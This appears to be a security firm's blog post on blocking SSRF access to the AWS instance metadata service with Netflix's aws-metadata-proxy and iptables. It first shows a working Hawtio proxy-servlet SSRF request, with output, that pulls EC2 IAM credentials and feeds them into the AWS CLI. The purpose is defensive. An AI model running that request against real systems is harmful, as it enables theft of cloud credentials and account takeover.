blog

Protecting AWS Metadata From Zero-day SSRF Attacks

Summary

Server-Side Request Forgery (SSRF) vulnerabilities allow attackers to send requests on behalf of the vulnerable web application. Much like a proxy, if you trigger an SSRF vulnerability and request https://www.ipecho.net/plain, you would see the application server’s source IP address rather than your own. In many cases, this vulnerability can be leveraged to access internal resources that the back-end server can communicate with.

Applications hosted in AWS pose a heightened risk when SSRF is present, as the instance metadata can be accessed, and in some cases, contains privileged API keys. SSRF vulnerabilities can lead to a full AWS account take-over and has been the case on several of CipherTechs’ recent penetration tests including “serverless” application deployments.

This blog post describes step-by-step how to use Netflix’s lightweight aws-metadata-proxy to protect AWS metadata even when SSRF vulnerabilities are present. We will demonstrate the effectiveness of aws-metadata-proxy using a real SSRF zero-day CipherTechs recently discovered.

Overview

CipherTechs discovered that Hawtio <= 4.6.8 contains a proxy servlet which makes a request to any server appended onto the /proxy/ object. Our Hawtio advisory can be found here.

By accessing http://hawtio-server/proxy/http://169.254.169.254/latest/meta-data/identity-credentials, it was possible to pull the EC2 IAM instance API tokens. The API tokens were then configured in the AWS CLI and used to enumerate IAM permissions. IAM policies are tedious to write, and in many cases are overly permissive allowing access to arbitrary resources in AWS.

The lab environment is quite simple for this demonstration. There is an EC2 instance hosting a vulnerable version of Hawtio. This first part of the post will briefly show some of what an attacker can achieve through SSRF in a cloud environment. Following this we will install aws-metadata-proxy which will prevent the SSRF 0day.

Stealing AWS Keys Through SSRF

Accessing the metadata service is a goal when attacking applications hosted in AWS as it can turn a text-book web application vulnerability into an AWS account compromise.

The example below demonstrates obtaining the AWS keys through the Hawtio SSRF zero-day.

$ curl -i http://x.x.x.x:8080/hawtio/proxy/http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
Access-Control-Allow-Origin: *
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "16945852"
Last-Modified: Tue, 23 Apr 2019 16:49:46 GMT
Content-Length: 1330
Date: Tue, 23 Apr 2019 17:14:58 GMT
Server: EC2ws

{
  "Code" : "Success",
  "LastUpdated" : "2019-04-23T16:50:10Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASXXXXXX",
  "SecretAccessKey" : "DczXXXXXX",
  "Token" : "AgoXXXXXX",
  "Expiration" : "2019-04-23T22:57:48Z"
}

To make use of the AWS access key returned above, we populate the AWS CLI credentials file as shown below.

~/.aws$ cat credentials 
[default]
aws_access_key_id=ASXXXXXX
aws_secret_access_key=DczXXXXXX
aws_session_token=AgoXXXXXX
region=us-east-1

The AWS CLI will use this credentials file to authenticate with AWS. With this setup, we can enumerate the IAM permissions and, in turn, the AWS account and resources it contains.

$ aws sts get-caller-identity
{
    "Account": "XXXXXXXXXXXX", 
    "UserId": "XXXXXXXXXXXX:aws:ec2-instance:i-0810044d72b96513e", 
    "Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/aws:ec2-instance/i-0810044d72b96513e"
}

Depending on specific IAM permissions, an attacker could very well have the keys to the AWS kingdom at this point, or at least have an opportunity to escalate IAM privileges.

Installing Netflix’s aws-metadata-proxy

aws-metadata-proxy is a clever program developed by Netflix-Skunkworks. iptables is used to block all connections to the AWS metadata IP (169.254.169.254) unless they originate from a designated user which owns the aws-metadata-proxy process. All other requests to the metadata service are delivered to the aws-metadata-proxy service. aws-metadata-proxy checks the requests’ UserAgent which an attacker wouldn’t typically have control over in an SSRF scenario. Generally, this prevents IAM credential access even through zero-day SSRF vulnerabilities like Hawtio. The commands below were run on an Ubuntu instance in our demo environment, but aws-metadata-proxy will work on other distributions as well.

Golang Prerequisites

apt-get install -y golang 
                                                 
admin@ec2:~$ export GOPATH=$HOME/go                                       
admin@ec2:~$ export PATH=$PATH:$GOPATH/bin 
admin@ec2:~$ mkdir -p go/{bin,pkg,src}

admin@ec2:~/go$ go env                                                                       
GOARCH="amd64"                                                                                          
GOBIN="/home/admin/go/bin"                                                                              
GOEXE=""                                                                                                
GOHOSTARCH="amd64"                                                                                      
GOHOSTOS="linux"
GOOS="linux"
GOPATH="/home/admin/go"
GORACE=""
GOROOT="/usr/lib/go-1.7"
GOTOOLDIR="/usr/lib/go-1.7/pkg/tool/linux_amd64"
CC="gcc"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-
prefix-map=/tmp/go-build495767473=/tmp/go-bu$
ld -gno-record-gcc-switches"
CXX="g++"
CGO_ENABLED="1"

With golang installed and configured correctly, we can simply clone the aws-metadata-proxy repo.

git clone https://github.com/Netflix-Skunkworks/aws-metadata-proxy.git

Now build the Go application.

admin@ec2:~$ cd aws-metadata-proxy
admin@ec2:~/aws-metadata-proxy$ go get
admin@ec2:~/aws-metadata-proxy$ go build

admin@ec2:~/aws-metadata-proxy$ ls -al
total 5980
drwxr-xr-x 3 admin admin    4096 Apr 23 18:54 .
drwxr-xr-x 7 admin admin    4096 Apr 23 18:52 ..
-rwxr-xr-x 1 admin admin 6099406 Apr 23 18:54 aws-metadata-proxy
drwxr-xr-x 8 admin admin    4096 Apr 23 18:30 .git
-rw-r--r-- 1 admin admin    1387 Apr 23 18:30 main.go
-rw-r--r-- 1 admin admin     684 Apr 23 18:30 README.md
admin@ec2:~/aws-metadata-proxy$

With the binary built (listed above as aws-metadata-proxy), it can be moved anywhere convenient such as /usr/local/bin.

Before applying the iptables rule, a local user account was created, awsproxy, for the purpose of running the aws-metadata-proxy binary.

After the user account is created, we can simply add the following iptables rule. Be sure to change the uuid-owner to the user used to run the aws-metadata-proxy binary – in our case it’s awsproxy.

admin@ec2:~$ sudo iptables -t nat -A OUTPUT -m owner ! --uid-owner awsproxy -d 169.254.169.254  -p tcp -m tcp --dport 80 -j DNAT --to destination 127.0.0.1:9090

The command shown below can be used to verify the NAT rule was properly added.

admin@ec2:~$ sudo iptables -t nat -nvL
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination
1        0     0 DNAT       tcp  --  *      *       0.0.0.0/0            169.254.169.254      ! owner UID match 1002 tcp dpt:80 to:127.0.0.1:9090

Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination

Now it’s time to run the aws-metadata-proxy app from the awsproxy account.

awsproxy@ec2:~$ ./aws-metadata-proxy
2019/04/23 19:35:45 Starting proxy...

aws-metadata-proxy should now show listening on 127.0.0.1:9090.

admin@ec2:~$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -
tcp        0    652 172.30.0.34:22          x.x.x.x:33558   ESTABLISHED -
tcp6       0      0 :::8080                 :::*                    LISTEN      4881/java
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       1      0 172.30.0.34:56290       169.254.169.254:80      CLOSE_WAIT  4881/java

aws-metadata-proxy is up and running. Time to test the Hawtio SSRF zero-day.

$ curl -i http://x.x.x.x:8080/hawtio/proxy/http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
HTTP/1.1 401 Unauthorized
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
Access-Control-Allow-Origin: *
Date: Tue, 23 Apr 2019 19:35:59 GMT
Content-Length: 18
Content-Type: text/plain;charset=UTF-8
Server: Jetty(8.y.z-SNAPSHOT)

401 - Unauthorized

Success! The Hawtio SSRF can no longer be used to access the AWS metadata service, as indicated by the “401 – Unauthorized” response.

Conclusion

Netflix’s open source aws-metadata-proxy provides free, simple, and lightweight metadata protection from SSRF exploitation. SSRF is still a problem for other internal resources and needs to be patched, but aws-metadata-proxy helps protect AWS metadata service in the meantime.